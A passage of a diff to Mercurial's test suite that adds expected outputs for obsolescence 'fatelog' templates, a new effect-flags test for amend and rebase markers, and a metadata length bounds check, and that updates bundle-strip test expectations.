+  o  f897c6137566
+  |
+  | @  471f378eab4c
+  |/     Obsfate: pruned;
+  o  ea207398892e
+  
+
   $ hg up -r "desc(ROOT)" --hidden
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
   $ hg tlog
@@ -944,6 +1665,12 @@
   @  ea207398892e
   
 
+  $ hg fatelog
+  o  f897c6137566
+  |
+  @  ea207398892e
+  
+
   $ hg tlog --hidden
   o  f897c6137566
   |    Predecessors: 2:0dec01379d3b
@@ -969,6 +1696,67 @@
   |      json: [["0dec01379d3be6318c470ead31b1fe7ae7cb53d5"]]
   @  ea207398892e
   
+
+Check other fatelog implementations
+-----------------------------------
+
+  $ hg fatelogkw --hidden -q
+  o  f897c6137566
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: rewritten as 3:f897c6137566
+  | |    Obsfate: rewritten as 1:471f378eab4c
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 2:0dec01379d3b
+  @  ea207398892e
+  
+  $ hg fatelogkw --hidden
+  o  f897c6137566
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: rewritten as 3:f897c6137566
+  | |    Obsfate: rewritten as 1:471f378eab4c
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 2:0dec01379d3b
+  @  ea207398892e
+  
+  $ hg fatelogkw --hidden -v
+  o  f897c6137566
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: rewritten as 3:f897c6137566 by test (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 1:471f378eab4c by test (at 1970-01-01 00:00 +0000)
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 2:0dec01379d3b by test (at 1970-01-01 00:00 +0000)
+  @  ea207398892e
+  
+  $ hg log -G -T "default" --hidden
+  o  changeset:   3:f897c6137566
+  |  tag:         tip
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     C0
+  |
+  | x  changeset:   2:0dec01379d3b
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  obsolete:    rewritten as 3:f897c6137566
+  | |  obsolete:    rewritten as 1:471f378eab4c
+  | |  summary:     B0
+  | |
+  | x  changeset:   1:471f378eab4c
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten as 2:0dec01379d3b
+  |    summary:     A0
+  |
+  @  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
+
 Test template with split + divergence with cycles
 =================================================
 
@@ -1086,32 +1874,34 @@
   |  parent:      5:dd800401bd8c
   |  user:        test
   |  date:        Thu Jan 01 00:00:00 1970 +0000
-  |  trouble:     divergent
+  |  instability: content-divergent
   |  summary:     Add B only
   |
   | o  changeset:   8:b18bc8331526
   |/   parent:      5:dd800401bd8c
   |    user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
-  |    trouble:     divergent
+  |    instability: content-divergent
   |    summary:     Add only B
   |
   | o  changeset:   7:ba2ed02b0c9a
   | |  user:        test
   | |  date:        Thu Jan 01 00:00:00 1970 +0000
-  | |  trouble:     unstable, divergent
+  | |  instability: orphan, content-divergent
   | |  summary:     Add A,B,C
   | |
   | x  changeset:   6:4a004186e638
   |/   user:        test
   |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten using amend as 8:b18bc8331526
+  |    obsolete:    rewritten using amend as 9:0b997eb7ceee
   |    summary:     Add A,B,C
   |
   o  changeset:   5:dd800401bd8c
   |  parent:      3:f897c6137566
   |  user:        test
   |  date:        Thu Jan 01 00:00:00 1970 +0000
-  |  trouble:     divergent
+  |  instability: content-divergent
   |  summary:     Add A,B,C
   |
   o  changeset:   3:f897c6137566
@@ -1153,6 +1943,21 @@
   |
   o  ea207398892e
   
+  $ hg fatelog
+  @  0b997eb7ceee
+  |
+  | o  b18bc8331526
+  |/
+  | o  ba2ed02b0c9a
+  | |
+  | x  4a004186e638
+  |/     Obsfate: rewritten using amend as 8:b18bc8331526 by test (at 1970-01-01 00:00 +0000); rewritten using amend as 9:0b997eb7ceee by test (at 1970-01-01 00:00 +0000);
+  o  dd800401bd8c
+  |
+  o  f897c6137566
+  |
+  o  ea207398892e
+  
   $ hg tlog --hidden
   @  0b997eb7ceee
   |    Predecessors: 6:4a004186e638
@@ -1211,6 +2016,48 @@
   |      json: [["0dec01379d3be6318c470ead31b1fe7ae7cb53d5"]]
   o  ea207398892e
   
+  $ hg fatelog --hidden
+  @  0b997eb7ceee
+  |
+  | o  b18bc8331526
+  |/
+  | o  ba2ed02b0c9a
+  | |
+  | x  4a004186e638
+  |/     Obsfate: rewritten using amend as 8:b18bc8331526 by test (at 1970-01-01 00:00 +0000); rewritten using amend as 9:0b997eb7ceee by test (at 1970-01-01 00:00 +0000);
+  o  dd800401bd8c
+  |
+  | x  9bd10a0775e4
+  |/     Obsfate: split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a by test (at 1970-01-01 00:00 +0000);
+  o  f897c6137566
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: rewritten as 3:f897c6137566 by test (at 1970-01-01 00:00 +0000); rewritten as 1:471f378eab4c by test (at 1970-01-01 00:00 +0000);
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 2:0dec01379d3b by test (at 1970-01-01 00:00 +0000);
+  o  ea207398892e
+  
+  $ hg fatelogjson --hidden
+  @  0b997eb7ceee
+  |
+  | o  b18bc8331526
+  |/
+  | o  ba2ed02b0c9a
+  | |
+  | x  4a004186e638
+  |/     Obsfate: [{"markers": [["4a004186e63889f20cb16434fcbd72220bd1eace", ["b18bc8331526a22cbb1801022bd1555bf291c48b"], 0, [["operation", "amend"], ["user", "test"]], [0.0, 0], null]], "successors": ["b18bc8331526a22cbb1801022bd1555bf291c48b"]}, {"markers": [["4a004186e63889f20cb16434fcbd72220bd1eace", ["0b997eb7ceeee06200a02f8aab185979092d514e"], 0, [["operation", "amend"], ["user", "test"]], [0.0, 0], null]], "successors": ["0b997eb7ceeee06200a02f8aab185979092d514e"]}]
+  o  dd800401bd8c
+  |
+  | x  9bd10a0775e4
+  |/     Obsfate: [{"markers": [["9bd10a0775e478708cada5f176ec6de654359ce7", ["dd800401bd8c79d815329277739e433e883f784e", "4a004186e63889f20cb16434fcbd72220bd1eace", "ba2ed02b0c9a56b9fdbc4e79c7e57866984d8a1f"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["dd800401bd8c79d815329277739e433e883f784e", "4a004186e63889f20cb16434fcbd72220bd1eace", "ba2ed02b0c9a56b9fdbc4e79c7e57866984d8a1f"]}]
+  o  f897c6137566
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: [{"markers": [["0dec01379d3be6318c470ead31b1fe7ae7cb53d5", ["f897c6137566320b081514b4c7227ecc3d384b39"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["f897c6137566320b081514b4c7227ecc3d384b39"]}, {"markers": [["0dec01379d3be6318c470ead31b1fe7ae7cb53d5", ["471f378eab4c5e25f6c77f785b27c936efb22874"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["471f378eab4c5e25f6c77f785b27c936efb22874"]}]
+  | x  471f378eab4c
+  |/     Obsfate: [{"markers": [["471f378eab4c5e25f6c77f785b27c936efb22874", ["0dec01379d3be6318c470ead31b1fe7ae7cb53d5"], 0, [["user", "test"]], [0.0, 0], null]], "successors": ["0dec01379d3be6318c470ead31b1fe7ae7cb53d5"]}]
+  o  ea207398892e
+  
   $ hg up --hidden 4
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg rebase -r 7 -d 8 --config extensions.rebase=
@@ -1245,6 +2092,174 @@
   |
   o  ea207398892e
   
+
+  $ hg fatelog
+  o  eceed8f98ffc
+  |
+  | o  0b997eb7ceee
+  | |
+  o |  b18bc8331526
+  |/
+  o  dd800401bd8c
+  |
+  | @  9bd10a0775e4
+  |/     Obsfate: split using amend, rebase as 5:dd800401bd8c, 9:0b997eb7ceee, 10:eceed8f98ffc by test (at 1970-01-01 00:00 +0000); split using amend, rebase as 5:dd800401bd8c, 8:b18bc8331526, 10:eceed8f98ffc by test (at 1970-01-01 00:00 +0000);
+  o  f897c6137566
+  |
+  o  ea207398892e
+  
+Check other fatelog implementations
+-----------------------------------
+
+  $ hg fatelogkw --hidden -q
+  o  eceed8f98ffc
+  |
+  | o  0b997eb7ceee
+  | |
+  o |  b18bc8331526
+  |/
+  | x  ba2ed02b0c9a
+  | |    Obsfate: rewritten using rebase as 10:eceed8f98ffc
+  | x  4a004186e638
+  |/     Obsfate: rewritten using amend as 8:b18bc8331526
+  |      Obsfate: rewritten using amend as 9:0b997eb7ceee
+  o  dd800401bd8c
+  |
+  | @  9bd10a0775e4
+  |/     Obsfate: split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a
+  o  f897c6137566
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: rewritten as 3:f897c6137566
+  | |    Obsfate: rewritten as 1:471f378eab4c
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 2:0dec01379d3b
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden
+  o  eceed8f98ffc
+  |
+  | o  0b997eb7ceee
+  | |
+  o |  b18bc8331526
+  |/
+  | x  ba2ed02b0c9a
+  | |    Obsfate: rewritten using rebase as 10:eceed8f98ffc
+  | x  4a004186e638
+  |/     Obsfate: rewritten using amend as 8:b18bc8331526
+  |      Obsfate: rewritten using amend as 9:0b997eb7ceee
+  o  dd800401bd8c
+  |
+  | @  9bd10a0775e4
+  |/     Obsfate: split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a
+  o  f897c6137566
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: rewritten as 3:f897c6137566
+  | |    Obsfate: rewritten as 1:471f378eab4c
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 2:0dec01379d3b
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden -v
+  o  eceed8f98ffc
+  |
+  | o  0b997eb7ceee
+  | |
+  o |  b18bc8331526
+  |/
+  | x  ba2ed02b0c9a
+  | |    Obsfate: rewritten using rebase as 10:eceed8f98ffc by test (at 1970-01-01 00:00 +0000)
+  | x  4a004186e638
+  |/     Obsfate: rewritten using amend as 8:b18bc8331526 by test (at 1970-01-01 00:00 +0000)
+  |      Obsfate: rewritten using amend as 9:0b997eb7ceee by test (at 1970-01-01 00:00 +0000)
+  o  dd800401bd8c
+  |
+  | @  9bd10a0775e4
+  |/     Obsfate: split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a by test (at 1970-01-01 00:00 +0000)
+  o  f897c6137566
+  |
+  | x  0dec01379d3b
+  | |    Obsfate: rewritten as 3:f897c6137566 by test (at 1970-01-01 00:00 +0000)
+  | |    Obsfate: rewritten as 1:471f378eab4c by test (at 1970-01-01 00:00 +0000)
+  | x  471f378eab4c
+  |/     Obsfate: rewritten as 2:0dec01379d3b by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+  $ hg log -G -T "default" --hidden
+  o  changeset:   10:eceed8f98ffc
+  |  tag:         tip
+  |  parent:      8:b18bc8331526
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  instability: content-divergent
+  |  summary:     Add A,B,C
+  |
+  | o  changeset:   9:0b997eb7ceee
+  | |  parent:      5:dd800401bd8c
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  instability: content-divergent
+  | |  summary:     Add B only
+  | |
+  o |  changeset:   8:b18bc8331526
+  |/   parent:      5:dd800401bd8c
+  |    user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    instability: content-divergent
+  |    summary:     Add only B
+  |
+  | x  changeset:   7:ba2ed02b0c9a
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  obsolete:    rewritten using rebase as 10:eceed8f98ffc
+  | |  summary:     Add A,B,C
+  | |
+  | x  changeset:   6:4a004186e638
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten using amend as 8:b18bc8331526
+  |    obsolete:    rewritten using amend as 9:0b997eb7ceee
+  |    summary:     Add A,B,C
+  |
+  o  changeset:   5:dd800401bd8c
+  |  parent:      3:f897c6137566
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  instability: content-divergent
+  |  summary:     Add A,B,C
+  |
+  | @  changeset:   4:9bd10a0775e4
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    split as 5:dd800401bd8c, 6:4a004186e638, 7:ba2ed02b0c9a
+  |    summary:     Add A,B,C
+  |
+  o  changeset:   3:f897c6137566
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     C0
+  |
+  | x  changeset:   2:0dec01379d3b
+  | |  user:        test
+  | |  date:        Thu Jan 01 00:00:00 1970 +0000
+  | |  obsolete:    rewritten as 3:f897c6137566
+  | |  obsolete:    rewritten as 1:471f378eab4c
+  | |  summary:     B0
+  | |
+  | x  changeset:   1:471f378eab4c
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten as 2:0dec01379d3b
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
+
 Test templates with pruned commits
 ==================================
 
@@ -1268,3 +2283,263 @@
   |
   o  ea207398892e
   
+  $ hg fatelog
+  @  471f378eab4c
+  |    Obsfate: pruned by test (at 1970-01-01 00:00 +0000);
+  o  ea207398892e
+  
+Test templates with multiple pruned commits
+===========================================
+
+Test setup
+----------
+
+  $ hg init $TESTTMP/multiple-local-prune
+  $ cd $TESTTMP/multiple-local-prune
+  $ mkcommit ROOT
+  $ mkcommit A0
+  $ hg commit --amend -m "A1"
+  $ hg debugobsolete --record-parent `getid "."`
+  obsoleted 1 changesets
+
+  $ hg up -r "desc(A0)" --hidden
+  0 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ hg commit --amend -m "A2"
+  $ hg debugobsolete --record-parent `getid "."`
+  obsoleted 1 changesets
+
+Check output
+------------
+
+  $ hg up "desc(A0)" --hidden
+  0 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ hg tlog
+  @  471f378eab4c
+  |
+  o  ea207398892e
+  
+# todo: the obsfate output is not ideal
+  $ hg fatelog
+  @  471f378eab4c
+  |    Obsfate: pruned;
+  o  ea207398892e
+  
+  $ hg fatelog --hidden
+  x  65b757b745b9
+  |    Obsfate: pruned by test (at 1970-01-01 00:00 +0000);
+  | x  fdf9bde5129a
+  |/     Obsfate: pruned by test (at 1970-01-01 00:00 +0000);
+  | @  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000); rewritten using amend as 3:65b757b745b9 by test (at 1970-01-01 00:00 +0000);
+  o  ea207398892e
+  
+Check other fatelog implementations
+-----------------------------------
+
+  $ hg fatelogkw --hidden -q
+  x  65b757b745b9
+  |    Obsfate: pruned
+  | x  fdf9bde5129a
+  |/     Obsfate: pruned
+  | @  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a
+  |      Obsfate: rewritten using amend as 3:65b757b745b9
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden
+  x  65b757b745b9
+  |    Obsfate: pruned
+  | x  fdf9bde5129a
+  |/     Obsfate: pruned
+  | @  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a
+  |      Obsfate: rewritten using amend as 3:65b757b745b9
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden -v
+  x  65b757b745b9
+  |    Obsfate: pruned by test (at 1970-01-01 00:00 +0000)
+  | x  fdf9bde5129a
+  |/     Obsfate: pruned by test (at 1970-01-01 00:00 +0000)
+  | @  471f378eab4c
+  |/     Obsfate: rewritten using amend as 2:fdf9bde5129a by test (at 1970-01-01 00:00 +0000)
+  |      Obsfate: rewritten using amend as 3:65b757b745b9 by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+
+  $ hg log -G -T "default" --hidden
+  x  changeset:   3:65b757b745b9
+  |  tag:         tip
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  obsolete:    pruned
+  |  summary:     A2
+  |
+  | x  changeset:   2:fdf9bde5129a
+  |/   parent:      0:ea207398892e
+  |    user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    pruned
+  |    summary:     A1
+  |
+  | @  changeset:   1:471f378eab4c
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    rewritten using amend as 2:fdf9bde5129a
+  |    obsolete:    rewritten using amend as 3:65b757b745b9
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
+
+Test templates with splitted and pruned commit
+==============================================
+
+  $ hg init $TESTTMP/templates-local-split-prune
+  $ cd $TESTTMP/templates-local-split-prune
+  $ mkcommit ROOT
+  $ echo 42 >> a
+  $ echo 43 >> b
+  $ hg commit -A -m "A0"
+  adding a
+  adding b
+  $ hg log --hidden -G
+  @  changeset:   1:471597cad322
+  |  tag:         tip
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
+# Simulate split
+  $ hg up -r "desc(ROOT)"
+  0 files updated, 0 files merged, 2 files removed, 0 files unresolved
+  $ echo 42 >> a
+  $ hg commit -A -m "A1"
+  adding a
+  created new head
+  $ echo 43 >> b
+  $ hg commit -A -m "A2"
+  adding b
+  $ hg debugobsolete `getid "1"` `getid "2"` `getid "3"`
+  obsoleted 1 changesets
+
+# Simulate prune
+  $ hg debugobsolete --record-parent `getid "."`
+  obsoleted 1 changesets
+
+  $ hg log --hidden -G
+  @  changeset:   3:0d0ef4bdf70e
+  |  tag:         tip
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  obsolete:    pruned
+  |  summary:     A2
+  |
+  o  changeset:   2:617adc3a144c
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     A1
+  |
+  | x  changeset:   1:471597cad322
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    split as 2:617adc3a144c, 3:0d0ef4bdf70e
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
+Check templates
+---------------
+
+  $ hg up 'desc("A0")' --hidden
+  0 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+# todo: the obsfate output is not ideal
+  $ hg fatelog
+  o  617adc3a144c
+  |
+  | @  471597cad322
+  |/     Obsfate: pruned;
+  o  ea207398892e
+  
+  $ hg up -r 'desc("A2")' --hidden
+  0 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+  $ hg fatelog --hidden
+  @  0d0ef4bdf70e
+  |    Obsfate: pruned by test (at 1970-01-01 00:00 +0000);
+  o  617adc3a144c
+  |
+  | x  471597cad322
+  |/     Obsfate: split as 2:617adc3a144c, 3:0d0ef4bdf70e by test (at 1970-01-01 00:00 +0000);
+  o  ea207398892e
+  
+
+Check other fatelog implementations
+-----------------------------------
+
+  $ hg fatelogkw --hidden -q
+  @  0d0ef4bdf70e
+  |    Obsfate: pruned
+  o  617adc3a144c
+  |
+  | x  471597cad322
+  |/     Obsfate: split as 2:617adc3a144c, 3:0d0ef4bdf70e
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden
+  @  0d0ef4bdf70e
+  |    Obsfate: pruned
+  o  617adc3a144c
+  |
+  | x  471597cad322
+  |/     Obsfate: split as 2:617adc3a144c, 3:0d0ef4bdf70e
+  o  ea207398892e
+  
+  $ hg fatelogkw --hidden -v
+  @  0d0ef4bdf70e
+  |    Obsfate: pruned by test (at 1970-01-01 00:00 +0000)
+  o  617adc3a144c
+  |
+  | x  471597cad322
+  |/     Obsfate: split as 2:617adc3a144c, 3:0d0ef4bdf70e by test (at 1970-01-01 00:00 +0000)
+  o  ea207398892e
+  
+  $ hg log -G -T "default" --hidden
+  @  changeset:   3:0d0ef4bdf70e
+  |  tag:         tip
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  obsolete:    pruned
+  |  summary:     A2
+  |
+  o  changeset:   2:617adc3a144c
+  |  parent:      0:ea207398892e
+  |  user:        test
+  |  date:        Thu Jan 01 00:00:00 1970 +0000
+  |  summary:     A1
+  |
+  | x  changeset:   1:471597cad322
+  |/   user:        test
+  |    date:        Thu Jan 01 00:00:00 1970 +0000
+  |    obsolete:    split as 2:617adc3a144c, 3:0d0ef4bdf70e
+  |    summary:     A0
+  |
+  o  changeset:   0:ea207398892e
+     user:        test
+     date:        Thu Jan 01 00:00:00 1970 +0000
+     summary:     ROOT
+  
diff --git a/tests/test-obsmarkers-effectflag.t b/tests/test-obsmarkers-effectflag.t
new file mode 100644
--- /dev/null
+++ b/tests/test-obsmarkers-effectflag.t
@@ -0,0 +1,167 @@
+Test the 'effect-flags' feature
+
+Global setup
+============
+
+  $ . $TESTDIR/testlib/obsmarker-common.sh
+  $ cat >> $HGRCPATH <<EOF
+  > [ui]
+  > interactive = true
+  > [phases]
+  > publish=False
+  > [extensions]
+  > rebase =
+  > [experimental]
+  > evolution = all
+  > evolution.effect-flags = 1
+  > EOF
+
+  $ hg init $TESTTMP/effect-flags
+  $ cd $TESTTMP/effect-flags
+  $ mkcommit ROOT
+
+amend touching the description only
+-----------------------------------
+
+  $ mkcommit A0
+  $ hg commit --amend -m "A1"
+
+check result
+
+  $ hg debugobsolete --rev .
+  471f378eab4c5e25f6c77f785b27c936efb22874 fdf9bde5129a28d4548fadd3f62b265cdd3b7a2e 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '1', 'operation': 'amend', 'user': 'test'}
+
+amend touching the user only
+----------------------------
+
+  $ mkcommit B0
+  $ hg commit --amend -u "bob <bob@bob.com>"
+
+check result
+
+  $ hg debugobsolete --rev .
+  ef4a313b1e0ade55718395d80e6b88c5ccd875eb 5485c92d34330dac9d7a63dc07e1e3373835b964 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '16', 'operation': 'amend', 'user': 'test'}
+
+amend touching the date only
+----------------------------
+
+  $ mkcommit B1
+  $ hg commit --amend -d "42 0"
+
+check result
+
+  $ hg debugobsolete --rev .
+  2ef0680ff45038ac28c9f1ff3644341f54487280 4dd84345082e9e5291c2e6b3f335bbf8bf389378 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '32', 'operation': 'amend', 'user': 'test'}
+
+amend touching the branch only
+----------------------------
+
+  $ mkcommit B2
+  $ hg branch my-branch
+  marked working directory as branch my-branch
+  (branches are permanent and global, did you want a bookmark?)
+  $ hg commit --amend
+
+check result
+
+  $ hg debugobsolete --rev .
+  bd3db8264ceebf1966319f5df3be7aac6acd1a8e 14a01456e0574f0e0a0b15b2345486a6364a8d79 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '64', 'operation': 'amend', 'user': 'test'}
+
+  $ hg up default
+  0 files updated, 0 files merged, 1 files removed, 0 files unresolved
+
+rebase (parents change)
+-----------------------
+
+  $ mkcommit C0
+  $ mkcommit D0
+  $ hg rebase -r . -d 'desc(B0)'
+  rebasing 10:c85eff83a034 "D0" (tip)
+
+check result
+
+  $ hg debugobsolete --rev .
+  c85eff83a0340efd9da52b806a94c350222f3371 da86aa2f19a30d6686b15cae15c7b6c908ec9699 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '4', 'operation': 'rebase', 'user': 'test'}
+
+amend touching the diff
+-----------------------
+
+  $ mkcommit E0
+  $ echo 42 >> E0
+  $ hg commit --amend
+
+check result
+
+  $ hg debugobsolete --rev .
+  ebfe0333e0d96f68a917afd97c0a0af87f1c3b5f 75781fdbdbf58a987516b00c980bccda1e9ae588 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '8', 'operation': 'amend', 'user': 'test'}
+
+amend with multiple effect (desc and meta)
+-------------------------------------------
+
+  $ mkcommit F0
+  $ hg branch my-other-branch
+  marked working directory as branch my-other-branch
+  $ hg commit --amend -m F1 -u "bob <bob@bob.com>" -d "42 0"
+
+check result
+
+  $ hg debugobsolete --rev .
+  fad47e5bd78e6aa4db1b5a0a1751bc12563655ff a94e0fd5f1c81d969381a76eb0d37ce499a44fae 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '113', 'operation': 'amend', 'user': 'test'}
+
+rebase not touching the diff
+----------------------------
+
+  $ cat << EOF > H0
+  > 0
+  > 1
+  > 2
+  > 3
+  > 4
+  > 5
+  > 6
+  > 7
+  > 8
+  > 9
+  > 10
+  > EOF
+  $ hg add H0
+  $ hg commit -m 'H0'
+  $ echo "H1" >> H0
+  $ hg commit -m "H1"
+  $ hg up -r "desc(H0)"
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ cat << EOF > H0
+  > H2
+  > 0
+  > 1
+  > 2
+  > 3
+  > 4
+  > 5
+  > 6
+  > 7
+  > 8
+  > 9
+  > 10
+  > EOF
+  $ hg commit -m "H2"
+  created new head
+  $ hg rebase -s "desc(H1)" -d "desc(H2)" -t :merge3
+  rebasing 17:b57fed8d8322 "H1"
+  merging H0
+  $ hg debugobsolete -r tip
+  b57fed8d83228a8ae3748d8c3760a77638dd4f8c e509e2eb3df5d131ff7c02350bf2a9edd0c09478 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '4', 'operation': 'rebase', 'user': 'test'}
+
+amend closing the branch should be detected as meta change
+----------------------------------------------------------
+
+  $ hg branch closedbranch
+  marked working directory as branch closedbranch
+  $ mkcommit G0
+  $ mkcommit I0
+  $ hg commit --amend --close-branch
+
+check result
+
+  $ hg debugobsolete -r .
+  2f599e54c1c6974299065cdf54e1ad640bfb7b5d 12c6238b5e371eea00fd2013b12edce3f070928b 0 (Thu Jan 01 00:00:00 1970 +0000) {'ef1': '2', 'operation': 'amend', 'user': 'test'}
diff --git a/tests/test-obsolete-bounds-checking.t b/tests/test-obsolete-bounds-checking.t
new file mode 100644
--- /dev/null
+++ b/tests/test-obsolete-bounds-checking.t
@@ -0,0 +1,24 @@
+Create a repo, set the username to something more than 255 bytes, then run hg amend on it.
+
+  $ unset HGUSER
+  $ cat >> $HGRCPATH << EOF
+  > [ui]
+  > username = aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa <very.long.name@example.com>
+  > [extensions]
+  > amend =
+  > [experimental]
+  > evolution.createmarkers=True
+  > evolution.exchange=True
+  > EOF
+  $ hg init tmpa
+  $ cd tmpa
+  $ echo a > a
+  $ hg add
+  adding a
+  $ hg commit -m "Initial commit"
+  $ echo a >> a
+  $ hg amend 2>&1 | egrep -v '^(\*\*|  )'
+  transaction abort!
+  rollback completed
+  Traceback (most recent call last):
+  *ProgrammingError: obsstore metadata value cannot be longer than 255 bytes (value "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa <very.long.name@example.com>" for key "user" is 285 bytes) (glob)
diff --git a/tests/test-obsolete-bundle-strip.t b/tests/test-obsolete-bundle-strip.t
--- a/tests/test-obsolete-bundle-strip.t
+++ b/tests/test-obsolete-bundle-strip.t
@@ -15,7 +15,7 @@
   > 
   > [experimental]
   > # enable evolution
-  > evolution = all
+  > evolution=true
   > 
   > # include obsmarkers in bundle
   > evolution.bundle-obsmarker = yes
@@ -207,6 +207,7 @@
   # unbundling: added 1 changesets with 1 changes to 1 files (+1 heads)
   # unbundling: 2 new obsolescence markers
   # unbundling: obsoleted 1 changesets
+  # unbundling: new changesets cf2c22470d67
   # unbundling: (run 'hg heads' to see heads)
 
   $ testrevs 'desc("C-A")'
@@ -246,6 +247,7 @@
   # unbundling: adding file changes
   # unbundling: added 2 changesets with 2 changes to 2 files (+1 heads)
   # unbundling: 3 new obsolescence markers
+  # unbundling: new changesets cf2c22470d67
   # unbundling: (run 'hg heads' to see heads)
 
 chain with prune children
@@ -371,6 +373,7 @@
   # unbundling: added 1 changesets with 1 changes to 1 files (+1 heads)
   # unbundling: 1 new obsolescence markers
   # unbundling: obsoleted 1 changesets
+  # unbundling: new changesets cf2c22470d67
   # unbundling: (run 'hg heads' to see heads)
 
